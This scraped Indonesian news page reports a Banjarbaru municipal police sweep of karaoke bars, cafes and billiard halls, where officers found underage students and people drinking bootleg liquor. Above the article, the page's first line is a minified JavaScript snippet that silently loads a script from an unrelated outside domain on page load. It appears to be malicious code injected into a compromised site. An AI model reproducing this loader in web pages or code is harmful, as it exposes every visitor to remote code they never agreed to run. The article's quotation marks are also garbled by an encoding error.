(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Satpol PP Kota Banjarbaru melakukan penyisiran sejumlah karaoke dan cafe serta biliard di kota Banjarbaru, seperti di jalan A Yani, jalan Mistarcokrokusumo dan sepanjang jalan Trikora, serta beberapa lokasi yang dianggap rawan, Selasa (10/9) malam.
Kasatpol PP Banjarbaru, Marhain Rahman, mengatakan kegiatan ke tempat-tempat hiburan malam (THM) dimaksudkan untuk meminimalisir pelanggaran Perda, baik itu mengenai jam operasional, penjualan minuman keras, obat-obatan terlarang dan ketaatan pemilik tempat hiburan malam serta izin usaha hiburan umum.
“Giat ini merupakan arahan langsung dari Bapak Walikota Banjarbaru, Nadjmi Adhani. Kita tidak ingin kejadian beberapa waktu lalu sampai terulang,†katanya, Rabu (11/9).
Kegiatan ini dikomandoi langsung Sekertaris Satpol PP Banjarbaru, Muhammad Bahrin, didampingi Disporabudpar, DPMPTSP dan jajaran kepolisian dan TNI. Dalam giat Satpol PP Banjarbaru mengimbau kepada pemilik usaha, supaya memperketat pengawasan agar tidak membiarkan pengunjung membawa minuman keras ke dalam tempat hiburan tersebut.
Berlanjut setelah pemeriksaan data diri para pengunjung dna pemandu lagu di karaoke, dari hasil pemantauan terdapat 6 pelajar dibawah umur yang sedang berada di dalam sebuah ruang karaoke di jalan A Yani Banjarbaru.
Sekretaris Satpol PP Banjarbaru mengatakan . 6 pelajar tersebut disuruh pulang karena pengakuan yang bersangkutan berstatus pelajar.
“Kita juga menemukan 4 orang yang mengkonsumsi miras oplosan di salah satu tempat hiburan biliard yang berada di jalan Trikora Banjarbaru,†lanjutnya.
Dalam hal ini petugas memberikan tindakan hukuman ringan berupa push up untuk memberikan efek jera. Pemilik juga diberikan peringatan agar tempat tersebut tidak dijadikan tempat untuk konsumsi minuman beralkohol.
Sebelumnya, beberapa waktu yang lalu masyarakat dibuat resah dengan adanya THM di Banjarbaru, yakni Cafe 3D Entertainment yang melanggar batas dan ketentuan yang berlaku. Selain melanggar jam operasional yang telah diatur, Cafe 3D Entertainment juga menghadirkan seorang DJ sehingga terkesan tempat hiburan justru menjadi sarang untuk dugem.
Tentunya hal ini menjadi tamparan bagi Pemkot Banjarbaru yang mana dianggap lalai dan membiarkan citra kota Banjarbaru tercemar. Apalagi dari hasil pemeriksaan terhap kelengkapan izin Cafe 3D Entertainment, rupanya tempat hiburan tersebut belum mempunyai Izin Tempat Hiburan Umum. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.